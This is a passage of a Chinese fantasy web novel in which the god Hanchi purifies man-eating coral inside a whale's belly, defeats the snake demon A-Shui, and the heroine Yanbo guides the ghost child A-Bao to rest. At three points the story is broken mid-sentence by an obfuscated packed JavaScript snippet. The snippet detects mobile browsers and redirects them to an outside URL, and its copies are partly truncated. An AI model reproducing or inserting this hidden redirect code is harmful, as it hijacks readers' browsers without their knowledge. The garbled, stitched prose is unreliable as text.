寒池侧身让琉真站到他身后,满不在意的回答:“我不光要带她走,你,我也要一并带走。” 他面容藏于飞红之后,暗叹这些珊瑚也不知吃了多少人的血肉,才染成这般颜色。 “如果我猜得没错,你们本来没什么本事,全靠有人助你们杀了第一批人,让死人怨气供养珊瑚成煞,超生不得的煞气升腾成含有业力的黑雾,以此锁人五感无法使出法力。” “这样,你们只需要诱使来人误入,以修行者的血肉饲养,如此循环往复,时日越长,煞气越重,珊瑚也更加凶残。” “那又如何?我不光喂人肉,我还喂神仙肉呢。” 寒池并未对阿水的惊人之语感到诧异:“凭你们的微末道行,这样下去根本控制不住珊瑚,早晚有一天也会沦为它们的血肉。就此收手,把知道的都一五一十说出来,还可减轻几分罪孽。” 阿水不再让他继续,喝道:“狂妄之徒,凭你也敢在这里教训我?我就送你们在这里有情人终成眷属当功德!” “公子小心!” 琉真知道不好,脱口而出一句惊呼,可惜已经来不及了,又一座珊瑚群山吞没了寒池。然而这次珊瑚爆开的速度比上次更快。 阿水看得分明,是寒池手中掷出了一枝珊瑚。 自己的珊瑚这就为他人所用,更仅凭这区区一小块就能把珊群炸飞,更令她脸色为之一变。 但随之便看到寒池停在原地,将手覆于胸口的鲜血之上,想他只是在垂死挣扎,便放下戒备,缓缓靠近他左右。 忽然,她也停住了,只见寒池的血每滴在地上一滴,黑雾就褪色一分。 琉真脸色一变,她清楚地看到对面那株扎穿了寒池胸口、浸满了寒池鲜血的珊瑚竟然渐渐散了煞气,由不正常的血红化为了宝石般的赤色。 寒池淡淡的冲阿水致意:“现在,这些珊瑚都归我了。” “怎么会!”即便琉真此刻再盼望寒池取胜,她也深知这嗜血珊瑚的威力之大,不知有多少能人仙师葬送于此,并非寻常的凶残爆烈,却不知寒池为天上的万年神木所化,生命力异于他人,一身的血更是净化邪浊的烈药。 方才寒池被黑雾束住手脚无法施法,只能放手一搏,故意让珊瑚吸食了大量自己的血从而被净化,一旦珊瑚被他净化,便立刻为他所用,先前狠狠扎入他胸口的断块,如今吸满了心头血已能听凭他调遣。 琉真没料到寒池能想到这个法子,这是她第一次见到有人利用珊瑚反其道而行之,以往的人即便有这个念头,也来不及实施便被珊瑚吞噬了。 此人绝不是普通仙者! 她紧盯着寒池挡在她身前的背影,心中升起了从未有过的希望。 这一次,她离自由是那么的近。 寒池手上微微运气,已使得出仙法,心知在方才的这段时间里,珊瑚已被自己消化完毕, 暂时逼退了煞气,拓出了一个洞穴大小的清净空间。 黑雾蒙住的五感将将打开,扑鼻而来便是一股腥臭气,呛得阿水琉真掩住口鼻,眉头紧皱。 连这种程度的煞气都抵挡不住,在小妖怪里也只能算个不入流的货色,想来她们二人能在此盘踞,全是依仗吃人珊瑚。 寒池对二人功力了然,不等她开口,挥手一振,脚下的珊瑚便似通了人性,听从寒池指挥向阿水袭来。 阿水连忙翻下闪避,回头看她原来所在的那株珊瑚顷刻间已被撞成了粉末。 而其中一小块珊瑚却不再紧咬她不放,反而环绕她兜起了圈子,所到之处响起阵阵轰鸣,惨然坍塌。 阿水边躲避边叫嚣:“随你撞好了,看看是你先撞完,还是自己的血先放完!” 寒池足下一点,翻身落回珊瑚之上。 他的袍袖一卷一送,两只袖子就像装满了的面口袋,泄出了一袖黑色煞气,如水中的海蛇蜿蜒缠绕着向阿水逼近,那小块珊瑚正紧随其后,它之后那庞大的红白巨物仿佛被吸住似的,全部追随着煞气高低奔流。 琉真错愕的睁大双眼,突然明白寒池操纵珊瑚的办法——他根本不在乎要用自己的血净化多少,只要将煞气逼出,吊于攻击目标前,那珊瑚受煞气牵引,便不得不被寒池控制自如。 珊瑚毁的越多,寒池逼出的煞气就越多,制造这片荒境的命门就这样成了寒池随心所欲操纵的倚仗,形势立刻倒转,阿水反而变成了疲于奔命的那一个。 眼见受寒池操控的珊瑚张开枝杈就要将她碾碎,阿水急忙施法将十余株珊瑚移至自己身前,为她挡下一劫。 待珊瑚尽数碎落,地上只余一片红白,阿水却不知所踪。 那阵清风过后,黑暗重归于沉默,渐渐的在空间里嗅出一股腥臭的味道,那味道有种难以形容的刺鼻,闻之腹中上下翻腾,几欲作呕。 烟波不知这味道代表的是好是坏,见地上的白圈仍在泛着光芒,只得将手中长剑又往地下深插了几寸。 她现在深刻真正了阿宝当时的处境,这里全部被那主仆二人控制,听说她们还有个“父亲”,那么即便现在逃出,也走不出鲸肚,还得防着这个“爹”冷不丁从哪蹦出来的偷袭; 如果自己也躲进菱花镜,那就同阿宝下场一模一样,在里面叫天天不应,叫地地不灵,完全将自己的命运任人宰割。 阿宝的娘已证明这个法子行不通,她必须待在外面。 突然,一道光芒晃了眼睛。 “笃、笃、笃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611071|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......” 闷闷的敲击声也随之而来,原是试探似的缓慢,随后敲击的声音越来越急,越来越重。 伴着这敲击声,那道光亮也变得不断闪烁,烟波借着光亮才看清,原来是地下的保护圈在发光。 结界外已被珊瑚悄无声息的围得密不透风,庞大的珊瑚一波接一波如潮水般不断向结界冲击。 “啪”的一声!烟波的心重重一跳。 夷骨剑是寒池分身,不论相隔多远,寒池必有感应,他一路披荆斩棘赶来香阁,见阁子已被珊瑚碾碎,只剩断壁残垣,烟波却不见了踪影。 他低头仔细观察,发现平地上出现了一个深坑,心中松了口气。 看来那些珊瑚破不开结界,也无法碰到夷骨剑,只能连剑带结界全部铲走,只要烟波还在结界内,那么她此刻应该无虞。 寒池循着剑的位置追赶,不久便看到一丛珊瑚急进,似要破开鲸腹逃走。一旦破开,且不说阿水带着烟波真成了一根针进了大海,单这一肚子的煞气就得把整个西海祸害个来回。 他立刻出手逼退珊丛,又过了半盏茶的功夫,从中间渐渐张开个豁口,阿水和烟波正在其中,与寒池遥遥相对。 阿水大叫:“你若还想要她和孩子的性命,就给我自断双臂!” 珊瑚的红光照的寒池面庞轮廓更加深邃,一双眼睛隐在阴影处,反而亮的吓人。 他打量一番那个豁口,这里本就黑暗,她们还隐在洞里,宛如覆了一层铠甲难以判断方位,只怕下手误伤。 他道:“我连她的生死都不能确认,不能和你谈条件,你们先出来。” 珊瑚山的半山腰托出一片小台,只见烟波手中还握着夷骨剑,阿水无法近身,只能让珊瑚将烟波连带结界全部握住。 烟波见这般情景,知道寒池已经大大的占了上风。可是自己扮演的这个人质角色却有点心虚,她在寒池那里现在贬值迅速,哪里能值两条胳膊。 仗着有结界护体,她索性劝阿水放弃押宝:“你绑我没用,我根本不是他妹妹,也不是他妻子,我只是被他强掳下来的民女,现在他看上你家小姐更不会在意我了,要不你换你家小姐来这试试?” 寒池:“......” 这个人不救也不是不行。 阿水冷哼一声:“你二人眉来眼去又打打闹闹的,相处举止全是平常夫妻的作派,夫人可别把我当傻子。” 寒池:“?” 烟波:......” 如果翻白眼也算眉来眼去的话,烟波确实没什么话好说,见对面寒池的样子,似乎也被震的不清。 场面一时因一方太过无语陷入沉默,烟波挣扎着解释道:“你看,既然我二人是夫妻,那他还当着我的面与你家小姐调情,岂不是更加证明我不重要?” “世间男子三妻四妾爱很多个稀奇吗?” 寒池:“???” 这个问题过于真实和深刻了,烟波确实无法反驳。 当然,她也无需再反驳了,她脚下的光圈一闪即逝,剑连同结界一起消失的无影无踪。 烟波和阿水都傻了眼。 大哥!你好歹意思意思救一下再撤啊!烟波可是知道这夷骨剑的用法,在心中呐喊。 男人,你的名字叫无情。 下一秒,夷骨剑从背后贯穿了阿水。 寒池有意留下阿水活口,控制了刺穿的威力与角度,只从她的肩胛骨斜刺而上,随后从她锁骨下飞出直上,悬停在了阿水头顶,剑尖正正指向她的天灵盖,随时可以来个醍醐灌顶。 这种根本不同她谈条件的狂妄刺激了阿水,她不等夷骨剑重新将烟波纳入结界,已将烟波拽在身前,袖中露出一柄小刀架在她颈间。 烟波浅浅思索了下神仙和凡人被抹脖子的区别,低头就看到那刀刃上不同寻常的莹蓝刀光,决定老实点为妙。 下一秒,又一簇珊瑚缓缓立于阿水手边,张开了巨口。 烟波定睛一看,珊瑚口中正瑟瑟发抖的可怜美人不是琉真又是谁。 只听阿水冲寒池叫喊道:“你夫人说的很对,一个或许不够分量,现在是两个你心爱的女人在我手上,一个人换你一条胳膊不过分吧?” 二人再次因为“两个心爱的女人”陷入沉默。 “不用指着我头顶上的剑,即便我死了,这里的珊瑚没有我的允许也不会停下进食的。” “现在可不是只有你一个人会控制珊瑚。”寒池不为所动。 “那你猜猜,我们这儿为什么会安排三个人?” 想到那个侥幸不在的“琉真爹”,寒池沉吟不语,看向琉真。琉真冲他点了点头。 阿水得意极了:“我可没有耐心,一边是新欢,一边是旧爱,你到底要救哪一个?” 38.龙涎 烟波觉得,阿水实在不是个谈条件的能手。她的眼力奇准,一挑就挑上来两个对寒池毫无威胁可言的筹码,这不是对着聋子骂人,白搭工嘛! 寒池沉吟不语,他所顾忌的从不是琉真阿水二人,只是这里珊瑚众多一时杀不干净,又被阿水被激怒将煞气放出鲸腹,若是那第三个帮手这时回来,实在不宜纠缠太久。 “你何必要叫他选呢?” 一个声音幽幽传来,声音中带着些许凄楚和委屈,这熟悉的感觉让寒池大感不妙。 “他现在不开口,就已经是答案了,他见异思迁又狠不下心当这个恶人,我何必再自取其辱要弄个明白!” 只听她又哽咽道:“琉真小姐,我不怪你,只怪我被猪油蒙了心!谢谢你至少让我在死前先死了心。” 虽然知道烟波又在打鬼主意,但寒池总能被她那大胆的灵光一现来个当头一棒。 一道寒光自地上闪过,悄无声息地绕至珊瑚背面。 就是此时了! 烟波抽出一直握在手中的花镜,看准阿水分神的间隙,奋力往箍着她的那只胳膊上划去,八角菱花尖儿上立刻沾满了鲜血。 阿水嘶吼着要狠狠掐住烟波的脖子,却被她手中的镜子晃了眼,烟波趁机将她一把挣开。 一道寒光袭向阿水,登时穿腹而过,黑雾中响彻女子凄厉的惨叫。转眼间寒光又飞入寒池手里。 夷骨剑在刺穿阿水的同时破开了珊瑚内腔的黑雾,烟波才从阿水手中逃开,还未等她挪步,就被随之而来的刺鼻腥臭味冲击的睁不开眼,剩下的珊瑚蠢蠢欲动,张开了残肢向她袭来。 寒池虽已赶至洞前,但怕来不及,冲里面喊道:“烟波!甩出菱花镜!” 在此千钧一发之际,烟波也顾不上问为什么,奋力脱手将菱花镜甩了出去。 菱花镜本就流光溢彩,拖着镜钮上那条长长的鲛纱飘带,如一颗飞驰的流星,自脱手后立刻绕烟波周身飞速旋转起来,将整个人包围起来。 珊瑚一旦靠近就被镜上的菱花角绞杀的粉碎,虽然不至于被彻底净化干净,但也无法近身。 此时寒池的夷骨剑也进入了洞口,将珊瑚丛分割开来。 切面登时释放出被净化后的恶臭,珊瑚似乎有自己的意识,生怕自己全部被净化干净,抛下切开的那部分逃之夭夭。 从光圈中渐渐现出一个人影,她右手高举,指间擒着一块小小的花镜,而花镜背后的无色飘带此时温顺的环绕着烟波,和仙子佩戴的羽衣无异。 寒池眼底闪过一丝讶异,没想到柳烟波在这短短一瞬之间,竟自行止住了菱花镜。 烟波在这地方被压制的于凡人无异,被释放出来的煞气把她熏的是头晕脑胀,折腾了这么久实在支撑不住,从半空飘然落下。 寒池迎上去接住了她,感受到他的臂弯,烟波本来闭上的眼又睁开了:“琉真呢?” “不见了。” “怎么,不救你心爱的女人了?” 这种时候,也只有她还能惦记着揶揄他,寒池不接她的话。 烟波还想再还嘴,忽听黑暗中一人道:“我说,这是什么破地方啊,一股臭死人味儿!” 这样大大咧咧的抱怨,除了西海的龙三太子外不作他想。 烟波与寒池对视一眼,心中同时冒出一句话:八百年过去了,这位大爷终于摸到地儿了。 龙三太子捏着鼻子大摇大摆地嚷嚷,方才他在黑暗里绕的是晕头转向,这一进来就看到烟波寒池抱作一团。 “啧啧啧,看来我来的不巧,打扰了二位的雅兴哈,刚才还吵得跟什么似的,这么快就和好了啊!” 夔元打趣着连连倒退,这才发现寒池浑身是血,胸口破了个大洞,到嘴边的话也给吓没了,指着烟波结结巴巴道:“这、这是她掏的?” “刚处理了小妖,我们正要回去。”寒池不理会他。 “我正想问呢,谁能把您打成这样啊?” 这时,夔元才想起来对烟波浅浅关怀一下:“神女没事吧?” “她太累了。” 烟波勉强着从寒池身下下来,脑袋还是晕乎乎。 夔元捂住口鼻,对着四周嫌弃的打量道:“什么地方啊,臭的要死。” “三太子没感觉到周身被压制,很难施法么。” “好像确实是有点诶。”夔元这才恍然大悟。 寒池对他已是无话可说。 “你是怎么找来的?” “闻着这里有臭气就跟过来了。” 见寒池听到这话脸色一变,夔元不解的问道:“怎么了?” 寒池却不答话,只道:“待会儿再同你解释。”便抱起了烟波,让夔元带着照他的来路返回。 没过多久,果然远远看到一座珊瑚巨山正在黑暗中狠命撞击着,发出了“哧哧”的漏气声,显然这里就是鲸腹的边界,并已经被撞出了一道裂痕。 一道寒光闪过,夷骨剑已直直插在了珊瑚山峰的正中央。 寒池将烟波交给夔元,自己翻身跳入山中,提剑四顾。 阿水被烟波伤了手臂,又被寒池的剑扎穿,趁着黑雾掩护逃入珊瑚林藏身,体力不支昏死过去。 再醒来一睁开眼,这个一身血衣的男子如噩梦般又站在她面前,静静地俯视她。 他提着的剑尖上有赤红的汁液一滴、两滴的坠落——那是她的血。 “你醒了。”男子道。 阿水环顾四周,眼中一片茫然。“是珊瑚带你来的。” “它们已然成煞,你们早晚控制不住反而要被它反噬。现下它感到我的威胁,已经会自主逃亡了。” “那又怎样。琉真呢?她不和你在一处吗?” “你没有救下她?”阿水这才有了些情绪波动。 见寒池摇了摇头,阿水沉默了一瞬,低声道:“如果不在你身边,那她已经死了。这里的珊瑚不会容得下一个背叛了它们的人。” “是,积蓄了上千人的念力和怨气的怪物,它不把身边的一切都拖下地狱是不会罢休的。” 阿水苦笑:“所以我劝她不要想着出去,做不到的。” 听她的语气有所软化,寒池话锋一转,将手中的剑化回了折扇:“你很聪明,早就看穿了这个道理。 但现在我可以帮你,你会有不同的选择。就像你的手,我可以帮你接回去,而摆在这里,只能成为珊瑚的饲料。” 阿水低头看向自己的左手,一只手带着手腕都快被切断,只剩一点皮肉相连着,她咬咬牙,一发狠将左手全部拽了下来,血淌了一地。 阿水拿着那只手,不顾断处的疼痛咬牙起身,对着寒池笑的满不在乎:“你不用和我谈条件。” 说完随手将断肢丢在了珊瑚深处,那只手瞬间被一拥而上的珊瑚吞噬殆尽,只听到骨头被啃食的清脆声响。 “这又是何苦呢。”寒池的视线避开了咔嚓作响的地方。 “我知道,你就是想知道是谁建造的这里,怎么能控制珊瑚,可是即便我说了,你救的了我一时,救的了我一世吗? 这里死了这么多人,出去了我又要被你押去哪里?即便是不死,也还是换个地方关着罢了!” 阿水已然断了一只手,切口处鲜血仍未干涸,一滴一滴的渗着红,衣裳布条与半干血液粘黏在一起,触目可怖。 她胸口被寒池新插了伤口,涌出的鲜血将素色的衣裳染得赤褐斑驳,即便这样,她的双眸里仍闪着灼灼光彩,仿佛两簇火苗,定定的盯着他看。 “残害神明罪大恶极,死后打入无间地狱,日日受业火焚身,可如果你愿意救赎自己,至少还能拥有下一世。” 阿水大笑起来:“下一世?还是从畜生道开始吗?做鳌虾还是蛇鱼?我就是过够了那样的日子才会在这里!既已下地狱,十八层同一百八十层便没有分别。” 有个身影跌跌撞撞的冲了进来,径直打断了他二人的谈话。 “阿水!你先告诉我,你记不记得有个叫阿宝的三四岁孩子,被他父母带着来到你这里?他还活着,他父母却消失了,她父母在哪?” 烟波生怕她来晚一步阿水已经被寒池了结,没站稳便抛出了一连串的问题。 见她如此焦急,寒池讶然,觑看向后来的夔元。 夔元无奈的耸耸肩。方才烟波惦记着她答允阿宝的事,担心阿水死的太快,不顾夔元阻拦,坚持要进来找阿水问个究竟,夔元拗不过她也只好陪同。 阿水早给自己找好了出路,此时倒是爽快,道:“我不记得什么阿宝,但是一家三口到这里来,最后孩子却消失的倒是有一个。 他父母来这里求净水,半路上觉察不对,也不敢贸然逃走,就偷偷把孩子藏起来想杀了我们。那孩子藏的隐秘,我们找了好几次也没寻到,竟是被你发现了。” “那他父母呢?”烟波催促道。 阿水冷冷的指了指身边的珊瑚,“你明知道就在这里,怎么还要多此一问。” 果然已经死了。 烟波虽早就有了心理准备,心中却仍怅然。 “还有啊,我西海什么时候有这鬼地方的!”夔元抢进话来问道。 “你是谁?” 见这衣着华丽的男子急得跳脚,阿水不紧不慢的扬眉反问。 “我是西海三太子夔元。” 阿水点点头,露出“原来是你”的讥讽神情: “这辈子能见到西海主人的真容,也不算亏。只是你们家这主人当得……可真是太客气了,让我们在这稳稳当当的住了这么久。” 夔元被她说的更觉丢脸,一时也不好意思再追问下去。 她活动活动手指,气定神闲的继续对寒池道: “他是西海三太子,那你不是海里的龙族,也是天上的神仙了。可惜神也救不了我,我也救不了我自己。 你告诉我的那两个选择,对我来说,都是一样的。” 她从口中吐出一颗黑色珠子捧在掌心,珠子中透着隐隐的血色微光。 “有块碎片嵌入我的内丹,凭它就可以指挥珊瑚,但是要时时奉上神体作为珊瑚的贡品。如果不从,我便要灰飞烟灭。 只要将内丹毁掉,珊瑚就会僵化了。” 寒池想起阿水问琉真的那句“然后呢?”,明白了其背后的真正含义。 他挥袖想将内丹从阿水手中夺走,可是阿水为这一刻早已筹划多时,只一握拳,内丹顷刻间散为无数细小碎片。 与此同时,阿水爆裂作无数光尘飘散在空中。 当光尘落地,依稀可见拼成了一具小小的海蛇骸骨。 寒池弯腰俯身,从地上捡起一片闪闪发光的碎片。 忽然间,珊瑚的颜色变得更加妖冶,凶煞之态大增。只见枝杈动摇,大地震颤,猩红的光晕与恶臭的煞气再次迸发出来。 “奇怪!那小蛇不是说,毁掉内丹这些珊瑚就能停下的吗?”夔元叫道。 “珊瑚里还有另一半碎片,现在它们已经有了自己的意识,见我们掌握了一半的碎片,它很害怕。” 伴着珊瑚轰隆隆的震荡,不时有珊瑚断块坠落,寒池看了眼烟波的脸色,对夔元说:“此地不宜久留, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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烟波还未反应过来,就见他将玉色折扇抖开,一扇挥去,荡开耾耾雷声。 阵阵的凄厉呻吟与哀号呜咽交织着从地下传来,却似被蒙了一层,仿佛有无数双手隔着帷幕抓挠,闻之如千针刺心,万蚁蚀骨。 寒池不为所动,再挥下一扇。 长风卷起万缕,龙身被吹得歪斜,鲸腹中息流激荡回旋。 寒池的真木之血与龙族真阳混合淋在珊瑚之上,又被他的劲风抹得均匀,掀开珊瑚表面笼罩的黑雾,扯下了蒙在哭喊上的那层朦胧,让血肉中的怨灵煞声越发高亢悚然。 烟波忍不住捂住耳朵,突然眼角扫到一团光亮,她在风中艰难的撑开眼皮,只见光亮来自寒池手中的折扇,还来自寒池的两点眸光。 黑暗中,他的眼瞳淌着两汪金绿色,如两团灼灼的磷火,迎着狂风猎猎闪动,他沉雅的轮廓也因此显出一股说不出的诡谲。 烟波心中震动,寒池竟然和她们野狐狸一样会眼放绿光。 恍然间想起波波对她讲过的那寒池上千个故事里,其中一个便是他并非天生神裔,而是玗琪树精所修成。 原本雪白的扇面此时晕染出一副春雨图,草长莺飞,杨柳拂堤,银丝般的春雨叮叮咚咚,远山含翠,近水生烟,几只小燕子从窝里飞出,衔起嫩绿的柳枝飞向高空,又往更高空飞去。 持扇的神仙第三次挥下,转瞬之间,千百只春燕已飞出了扇上春景,或衔着细雨,或衔着柳枝,绕着龙身翩飞,随即急转而下,以投林归巢的气势向红白珊瑚组成的山林簌簌扎去,口中衔着的春雨随之落下,触地即化。 鲸腹中,春雨连绵不断,春燕们不知疲倦的将柳枝堆在珊瑚上,转眼将红白之色尽数覆盖。 在雨水的滋润下,柳枝化作新泥,又从泥中生出片片绿意,待珊瑚上长满芳草,这鲸肚里终于安静下来。 扑鼻而来的终于不再是那股反胃的恶臭,取而代之的是沾着露水的清新草味。 空中传来一声悠长的龙吟,夔元兜了两圈缓缓落下,卧在松软的绿草上,又舒服的低啸一声。 他的龙身不断变大,鲸肚里渐渐变得拥挤起来,寒池与烟波趁机跳下了龙脊,见他贴着鲸鱼腹壁盘踞一周,正好用自己堵住了那道泄露煞气的裂缝,将珊瑚圈在身内镇着,暂且压制住了珊瑚。 寒池侧身回看,见烟波湿漉漉的模样,已变回乌木色的眸子若有所思:“我不记得是否告诉过你,这不是雨,是龙涎。” 龙涎......也就是龙的口水?? 她怔住了。 见她难得这副呆样,他忍俊不禁,眼底笑意闪烁。 “啪”的一声,收回的折扇轻轻敲在烟波额头,从头顶传来寒池的声音:“擦擦罢。” 烟波被这一敲,可算敲回了神,五官瞬间变得扭曲,一身的春雨....亦或是龙涎也浇不透她满腔的怒火。 天杀的,难怪方才他那么问她!这厮分明是故意等到她被浇透才肯点破! 她正要发作,夔元已涨红了脸,极不情愿的大声嚷嚷道:“我也不愿意卧自己口水上!” 谁问他了! 烟波来不及收回的愤恨眼神落在夔元身上,瞪得他巨大的真身都抖了抖。 “我先将孩子送回,随后就带人来助你。”寒池敛目掩下眸光,假惺惺的安慰道。 “对了!”烟波如梦初醒:“阿宝还在镜子里呢!” 39.回家 可当她和寒池将阿饶和阿宝藏身的老虎香囊从镜中带出来后,寒池握着手中的香囊,脸色骤然严峻。 “我感受不到那孩子的气息。” “阿宝?阿宝!”烟波不明白,只呼唤着他的名字。“娘亲来找你啦,你怎么不理娘亲呀?” 一个愤怒的童声从香囊中传来:“不要学我娘亲说话!你根本不是我娘亲!我都听到了,我娘亲、我娘亲已经死了!”说着说着便哇的一声哭了出来。 原来这镜子里不隔音啊......烟波悻悻,尴尬的瞪了寒池一眼:“你看,这不是好着呢么?” 寒池双掌合拢,将香囊严严实实的捂住,才悄声道:“他说话的音调扭曲尖锐,不像孩童的声音。” 他意有所指。 “你是说...”烟波心中一惊。 “一个小孩子,在黑暗里躲了几十年甚至几百年,没有父母照顾,没有朋友玩伴,如你所说,没有饮食,他是怎么支撑到现在的?” 烟波明白寒池的意思,恐怕阿宝早已是一具白骨。 这里怨念极重,小孩子单纯的心智极容易被影响同化,如今存留世间的,唯有他的执和怨。 她咬咬牙,坚定地看向寒池:“他唯一的愿望就是等母亲带他回家,即便是变成了鬼,这样的孩子又能如何作怪?” 她伸手指向下面一片片的红白珊瑚:“下面的任何一支珊瑚,都比他罪孽深重千倍万倍。” 寒池眼中闪过一丝讶异,他问:“你想救他?” 随即两指从香囊中轻轻外拉,顿时一条黑影从中横冲直撞的挣脱出来,怒吼着掀起一阵狂风。 寒池拿出烟波的菱花镜轻轻一抛,便将黑影束成了一团。 “果然成了煞。” 寒池拉紧了鲛纱,将带子的一端交给了烟波,目光灼灼:“你说,该怎么办。” “全听我的?” “嗯,你也读了不少仙书,知道遇到煞该怎么做。” 烟波当然知道,这一章寒池还专门抽查过她。煞因魂中的阴执而生,生性凶恶,徘徊于世间无法轮回。 应付它只有两种方法,一种是立刻处决,以防它的怨念加剧,进而堕落成魔;另一种是感化超度,解除执念让煞得以往生。 “没了香囊的格挡,它置身怨中随时都会堕魔,如果你做不到超度,我只能就地减灭了它。”寒池冷酷而清楚的告知她。 烟波转身接过鲛绡,一步一步朝那个小小的黑影走去。 “阿宝,你不记得我了吗?” “你别过来!你是骗子!”阿宝又狂躁起来。 “我知道你娘亲的心愿,你难道不想知道吗?” 阿宝一愣:“你怎么知道......” 旋即又反应过来,口中大声叫嚣着烟波骗人,狂态比之方才更甚,凶煞之气刺得人难以睁眼。 眼见阿宝的黑影就要扑来,烟波却仍捻着绡带站在原地,寒池神色冷凝,手中的折扇不知何时消失的无影无踪。 烟波紧盯着越来越近的黑影,脸上柔意愈盛,她的声音在这幽暗的鲸腹中,如同一场冬日的鹅毛雪,极细极轻的拂过心间,随即静静的落在地上,铺出一片绒绒的暖白: “我没有骗你,因为我的娘亲就曾告诉过我。” 不知是被她的神情还是她的话触动,黑影在她的鼻尖前停了下来。 “...她说什么?” “她说,她也想自己的娘亲。” 黑影不明所以,烟波感到它身上的煞气深重了不少。“那是你的娘亲!不是我娘!” “世上没有人生来就当娘,在有你之前,她也只是你外祖母的女儿罢了。” 黑影停下了动作。 “我娘说,天下没有孩子不想念自己的娘亲。” 见阿宝不说话,烟波伸出了手,轻轻的抚摸着那团黑气,黑气微微颤抖,却没有再挣扎。 “阿宝,你在这里待了这么久,永远是个四岁的小娃娃,但这个香囊的外面已经过去不知几十几百年,按照世间的算法,你早就是个老爷爷了。” “娘亲已经不在了,阿宝也长大了。你现在变成了大人,有能力实现她的愿望了。” “我?实现娘亲的愿望?”黑影傻傻的歪了歪头。 一旁的夔元替烟波捏了一把汗,他屏息凝神,生怕干扰了此刻的平静,瞥了眼寒池,见他手中空无一物,正暗暗笑他心大,再一眨眼,这位上神手中已平添了那把骨色折扇,仿佛什么都未曾发生过一样。 他觉得自己该去看看眼睛了。 “可是她死了!见不到了!”满是稚气的尖叫声从黑影中传来。 “不!可以的,这个愿望只有你能帮她实现。”烟波坚定的盯着阿宝,琥珀色的瞳孔里闪动着光芒。 “所以你愿意吗?” 似是承受不住在烟波眼神的逼视,黑影沉默了。 “你娘回不去了,可是你还能回去天上和外祖母相逢。 你是你娘的骨血,外祖母看到你就像见到了自己的女儿一样。 而且也只有你可以骄傲的、大声的告诉她,她的女儿干了件多么了不起的大事,能在这么可怕的地方硬是救下了自己的孩子!你就是你娘最好的见证。” 什么“骄傲”“存在”“见证”,这些词对于阿宝太过晦涩高深,他不明白,可是,他依然听懂了烟波说的话。 娘亲,也是个和他一样的小孩子。 烟波的声音倏然放柔,像夜晚床前那朦胧温暖的灯光: “虽然我没见过你娘亲,但是我知道,你肯定很像她。” “.......为什么?” “知道你娘有多勇敢吗?就像你在这小香囊里,孤零零的等了这么久一样勇敢。” 那团影子渐渐化作一个幼童的小小身躯,他泪流满面的抽泣着,却揉着眼睛说:“你又骗人,娘亲才不会像我这么害怕。” “谁说的?”烟波瞪直了眼:“这么个破地方,就是佛祖来了也得吓得直打哆嗦。” 寒池:..... 说着说着嘴上又没正形了。 “所以啊,你还有大事要做,如果你任由自己陷在这里,是没法到天上去的。 阿宝,别把你娘亲留在这儿,带她回家吧。” 阿宝迷茫道:“可是......我不知道外祖母在哪,我也出不去这里,该怎么办呀?” 烟波摇摇头,冲着他露出一个微笑: “只要你想,你就能出去。想着娘亲,会有一种平静的感觉带你找到的。” “什么……是平静?” “平静啊......就是娘亲给阿宝缝小老虎的感觉,也是娘亲给阿宝讲故事的感觉。” 烟波看到对面的寒池给了一个肯定的眼神。 “这样,娘亲就能和我一起去吗?” 看着他天真的神色,烟波勉强露出一个微笑,冲他点点头。 阿宝的娘亲被这里的珊瑚吞噬,怨气深重,困守其中超生不得,即便这里最后被荡平干净,恐怕最终的魂魄也只能随珊瑚减灭,连地狱也下无可下。 阿宝的魂魄还能在黄泉与外祖母团聚,而她,是真的无处寻觅了。 她温柔的拉住阿宝的小手,将老虎香囊塞回他掌心: “去吧,带着它,你就不会迷路了。” 感受着手中的温暖,阿宝若有所思,小小的手变成一团,攥紧了已破旧不堪的老虎。 他突然想起来,娘亲为什么会给他缝老虎香囊了。 阿宝抬起自己的手,低头呆呆地看着老虎张开的血盆大口。 他从小体弱,又胆子小怕黑,夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烟波见寒池竟然开始拿一种欣慰的眼神看她,这种眼神她只有在夫子看学生高中状元的时候见过,令她心中一阵恶寒,连忙扭开了头: “别拿这种眼神看我,我可不爱装好人。” 寒池听出她意有所指的讽刺他,知道她心中始终想着的都是御炎珠,轻轻叹了口气:“你明明不是表现出来的那样,为何总是言不由衷。” “我?只是答应了别人的事就要办到罢了。” 烟波再不接寒池的话,反侧头睨他:“我还当上神要当圣人到底呢,怎么,为个残暴脓包的凡人就要打死了我,对阿宝这个小孩子却就地斩杀?瞧你对琉真阿水挺同情的,怎么也不给她们收敛尸骨,超度一番?” “她们的罪,我超度不了。”他淡漠的俯瞰满地草木道:“落叶归根,生于水,化为土,没什么不好。” 他的脸偏倾过来:“神女对待阿宝无可挑剔,却为何对凡人几次三番的打杀?” 烟波冷哼一声:“当然不同,一个该活,一个该死。” “我们不能妨碍凡人的生死,但能令事情不变得更糟。” 他没有再看烟波,只说:“阿宝是个好孩子,你将他和阿饶放在一处,他也没想着伤害阿饶。” 烟波顺着寒池的视线移向阿饶。 两个年龄相仿的孩子,一个躺在地上,已变成了冰冷的骨骼,一个抱在怀中,犹在温暖的梦乡,香囊内劈出的空间空无一物,茫茫然的混沌一片,对比更显得强烈刺眼,让二人都生出无尽感慨,半晌不发一言。 “凡间有句诗叫,独在异乡为异客,每逢佳节倍思亲。”烟波不知想到了什么,轻轻的说道。 寒池看着她变得柔和的侧脸,不由得想问,她也是这样吗? 话到嘴边,只道:“那是什么感觉?” 